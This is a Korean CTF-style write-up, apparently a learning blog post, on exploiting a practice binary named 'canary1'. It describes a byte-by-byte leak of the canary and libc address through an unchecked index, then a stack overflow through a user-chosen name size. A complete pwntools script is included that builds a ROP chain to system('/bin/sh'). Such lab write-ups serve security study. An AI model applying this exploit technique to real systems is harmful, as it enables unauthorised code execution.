
canary, nx, pie, full relro 다 켜져있다.

메인 함수이다. 처음엔 약간 복잡해 보였지만 그렇게 복잡하지 않다. 예전 주차에 풀어봤던 문제와 비슷하게 반복문을 돌면서 입력을 하거나 출력을 할 수 있고, 반복문 종료 후에는 이름의 크기와 이름을 적고 함수가 종료된다.

ida 상에서 출력을 하는 함수이다. ida로만 봤을 때 약간 애매해서 gdb로도 까봤다.

gdb로 깐 것과 ida의 함수를 함께 보니 좀 더 쉽게 이해할 수 있었다.
생각할 수 있는 취약점은 P를 입력하여 출력할 때 index에 제한이 없기에 canary와 main의 ret를 leak할 수 있다는 점이고, 마지막에 이름을 입력할 때 이름의 크기를 내가 입력하기에 bof를 일으킬 수 있다는 점이다!

스택에 쌓이는 구조를 정리하면 다음과 같았다.
출력을 할 때는 buf를 기준으로 index를 입력 받기에 canary를 leak하기 위해서는 1byte씩 leak할 수 있기에 0x89, 0x90, 0x91, 0x92, 0x93, 0x94, 0x95(10진수로 137, 138, 139, 140, 141, 142, 143)을 인덱스로 보내고, 이를 저장했다가 한번에 합치면 된다. 어떻게 구현할까 하다가 그냥 받을 때마다 10^n을 알맞게 곱해주었다.
p.recvuntil(b'> ')
p.send(b'P')
p.recvuntil(b"Element index : ")
p.sendline(str(137).encode())
leak1 = int(p.recvuntil(b"x0a")[-3:-1], 16) * 0x100
log.info('leak data - '+hex(leak1))
p.recvuntil(b'> ')
p.send(b'P')
p.recvuntil(b"Element index : ")
p.sendline(str(138).encode())
leak2 = int(p.recvuntil(b"x0a")[-3:-1], 16) * 0x10000
log.info('leak data - '+hex(leak2))
p.recvuntil(b'> ')
p.send(b'P')
p.recvuntil(b"Element index : ")
p.sendline(str(139).encode())
leak3 = int(p.recvuntil(b"x0a")[-3:-1], 16) * 0x1000000
log.info('leak data - '+hex(leak3))
p.recvuntil(b'> ')
p.send(b'P')
p.recvuntil(b"Element index : ")
p.sendline(str(140).encode())
leak4 = int(p.recvuntil(b"x0a")[-3:-1], 16) * 0x100000000
log.info('leak data - '+hex(leak4))
p.recvuntil(b'> ')
p.send(b'P')
p.recvuntil(b"Element index : ")
p.sendline(str(141).encode())
leak5 = int(p.recvuntil(b"x0a")[-3:-1], 16) * 0x10000000000
log.info('leak data - '+hex(leak5))
p.recvuntil(b'> ')
p.send(b'P')
p.recvuntil(b"Element index : ")
p.sendline(str(142).encode())
leak6 = int(p.recvuntil(b"x0a")[-3:-1], 16) * 0x1000000000000
log.info('leak data - '+hex(leak6))
p.recvuntil(b'> ')
p.send(b'P')
p.recvuntil(b"Element index : ")
p.sendline(str(143).encode())
leak7 = int(p.recvuntil(b"x0a")[-3:-1], 16) * 0x100000000000000
log.info('leak data - '+hex(leak7))
canary=leak7 + leak6 + leak5 + leak4 + leak3 + leak2 + leak1
log.info('canary - '+hex(canary))
이렇게 canary를 leak하고 main의 ret를 leak하면 된다. main의 ret에는 libc_start_call_main+234가 저장되어 있음을 확인하였다. main의 ret를 leak하기 위해서는 0x98, 0x99, 0x100, 0x101, 0x102, 0x103(10진수로 152, 153, 154, 155, 156, 157)을 순서대로 보내고 저장했다가 합치면 된다.
그리고 offset을 빼서 libc_base를 구하고, 구한 libc_base를 토대로 system 함수, /bin/sh 주소, pop rdi; ret 주소, ret 주소를 구하면 준비는 끝난다!
p.recvuntil(b'> ')
p.send(b'P')
p.recvuntil(b"Element index : ")
p.sendline(str(152).encode())
leak1 = int(p.recvuntil(b"x0a")[-3:-1], 16)
log.info('leak data - '+hex(leak1))
p.recvuntil(b'> ')
p.send(b'P')
p.recvuntil(b"Element index : ")
p.sendline(str(153).encode())
leak2 = int(p.recvuntil(b"x0a")[-3:-1], 16) * 0x100
log.info('leak data - '+hex(leak2))
p.recvuntil(b'> ')
p.send(b'P')
p.recvuntil(b"Element index : ")
p.sendline(str(154).encode())
leak3 = int(p.recvuntil(b"x0a")[-3:-1], 16) * 0x10000
log.info('leak data - '+hex(leak3))
p.recvuntil(b'> ')
p.send(b'P')
p.recvuntil(b"Element index : ")
p.sendline(str(155).encode())
leak4 = int(p.recvuntil(b"x0a")[-3:-1], 16) * 0x1000000
log.info('leak data - '+hex(leak4))
p.recvuntil(b'> ')
p.send(b'P')
p.recvuntil(b"Element index : ")
p.sendline(str(156).encode())
leak5 = int(p.recvuntil(b"x0a")[-3:-1], 16) * 0x100000000
log.info('leak data - '+hex(leak5))
p.recvuntil(b'> ')
p.send(b'P')
p.recvuntil(b"Element index : ")
p.sendline(str(157).encode())
leak6 = int(p.recvuntil(b"x0a")[-3:-1], 16) * 0x10000000000
log.info('leak data - '+hex(leak6))
libc_start_main=leak6 + leak5 + leak4 + leak3 + leak2 + leak1
log.info('libc_start_main - '+hex(libc_start_main))
libc_base=libc_start_main - libc_start_main_offset - 243
log.info('libc_base - '+hex(libc_base))
system=libc_base + system_offset
binsh =libc_base + binsh_offset
p_rdi =libc_base + p_rdi_offset
ret =libc_base + ret_offset
canary 위치에 canary를 잘 넣어주고, main의 ret에 pop rdi;ret, /bin/sh, ret, system을 순서대로 덮도록 payload를 구성해준다. E를 보내서 반복문에서 나가고, name의 크기는 적당히 크게 해준 다음에 payload를 보내면 exploit 할 수 있다.
전체 익스 코드는 다음과 같다.
from pwn import *
#context.log_level = 'debug'
p= process('./canary1')
e= ELF('./canary1')
libc= ELF('/lib/x86_64-linux-gnu/libc.so.6')
p_rdi_offset=0x23b6a
ret_offset=0x22679
libc_start_main_offset=libc.symbols['__libc_start_main']
system_offset=libc.symbols['system']
binsh_offset=0x1b45bd
p.recvuntil(b'> ')
p.send(b'P')
p.recvuntil(b"Element index : ")
p.sendline(str(152).encode())
leak1 = int(p.recvuntil(b"x0a")[-3:-1], 16)
log.info('leak data - '+hex(leak1))
p.recvuntil(b'> ')
p.send(b'P')
p.recvuntil(b"Element index : ")
p.sendline(str(153).encode())
leak2 = int(p.recvuntil(b"x0a")[-3:-1], 16) * 0x100
log.info('leak data - '+hex(leak2))
p.recvuntil(b'> ')
p.send(b'P')
p.recvuntil(b"Element index : ")
p.sendline(str(154).encode())
leak3 = int(p.recvuntil(b"x0a")[-3:-1], 16) * 0x10000
log.info('leak data - '+hex(leak3))
p.recvuntil(b'> ')
p.send(b'P')
p.recvuntil(b"Element index : ")
p.sendline(str(155).encode())
leak4 = int(p.recvuntil(b"x0a")[-3:-1], 16) * 0x1000000
log.info('leak data - '+hex(leak4))
p.recvuntil(b'> ')
p.send(b'P')
p.recvuntil(b"Element index : ")
p.sendline(str(156).encode())
leak5 = int(p.recvuntil(b"x0a")[-3:-1], 16) * 0x100000000
log.info('leak data - '+hex(leak5))
p.recvuntil(b'> ')
p.send(b'P')
p.recvuntil(b"Element index : ")
p.sendline(str(157).encode())
leak6 = int(p.recvuntil(b"x0a")[-3:-1], 16) * 0x10000000000
log.info('leak data - '+hex(leak6))
libc_start_main=leak6 + leak5 + leak4 + leak3 + leak2 + leak1
log.info('libc_start_main - '+hex(libc_start_main))
libc_base=libc_start_main - libc_start_main_offset - 243
log.info('libc_base - '+hex(libc_base))
system=libc_base + system_offset
binsh =libc_base + binsh_offset
p_rdi =libc_base + p_rdi_offset
ret =libc_base + ret_offset
#####################################################################################################################
p.recvuntil(b'> ')
p.send(b'P')
p.recvuntil(b"Element index : ")
p.sendline(str(137).encode())
leak1 = int(p.recvuntil(b"x0a")[-3:-1], 16) * 0x100
log.info('leak data - '+hex(leak1))
p.recvuntil(b'> ')
p.send(b'P')
p.recvuntil(b"Element index : ")
p.sendline(str(138).encode())
leak2 = int(p.recvuntil(b"x0a")[-3:-1], 16) * 0x10000
log.info('leak data - '+hex(leak2))
p.recvuntil(b'> ')
p.send(b'P')
p.recvuntil(b"Element index : ")
p.sendline(str(139).encode())
leak3 = int(p.recvuntil(b"x0a")[-3:-1], 16) * 0x1000000
log.info('leak data - '+hex(leak3))
p.recvuntil(b'> ')
p.send(b'P')
p.recvuntil(b"Element index : ")
p.sendline(str(140).encode())
leak4 = int(p.recvuntil(b"x0a")[-3:-1], 16) * 0x100000000
log.info('leak data - '+hex(leak4))
p.recvuntil(b'> ')
p.send(b'P')
p.recvuntil(b"Element index : ")
p.sendline(str(141).encode())
leak5 = int(p.recvuntil(b"x0a")[-3:-1], 16) * 0x10000000000
log.info('leak data - '+hex(leak5))
p.recvuntil(b'> ')
p.send(b'P')
p.recvuntil(b"Element index : ")
p.sendline(str(142).encode())
leak6 = int(p.recvuntil(b"x0a")[-3:-1], 16) * 0x1000000000000
log.info('leak data - '+hex(leak6))
p.recvuntil(b'> ')
p.send(b'P')
p.recvuntil(b"Element index : ")
p.sendline(str(143).encode())
leak7 = int(p.recvuntil(b"x0a")[-3:-1], 16) * 0x100000000000000
log.info('leak data - '+hex(leak7))
canary=leak7 + leak6 + leak5 + leak4 + leak3 + leak2 + leak1
log.info('canary - '+hex(canary))
#####################################################################################################################
payload= b'A' * 0x48
payload += p64(canary)
payload += b'B' * 0x8
payload += p64(p_rdi) + p64(binsh)
payload += p64(ret)
payload += p64(system)
p.recvuntil(b'> ')
p.send(b'E')
p.recvuntil(b"Name Size : ")
p.sendline(str(500).encode())
p.recvuntil(b"Name : ")
pause()
p.send(payload)
p.interactive()
위에서 설명한 것과는 반대로 libc_base를 먼저 구하고 canary를 구했다. sendlineafter를 썼다면 코드가 더 짧아질 수 있었겠지만 이미 해버려서 그냥 뒀다 ^^

쉘 따기 성공!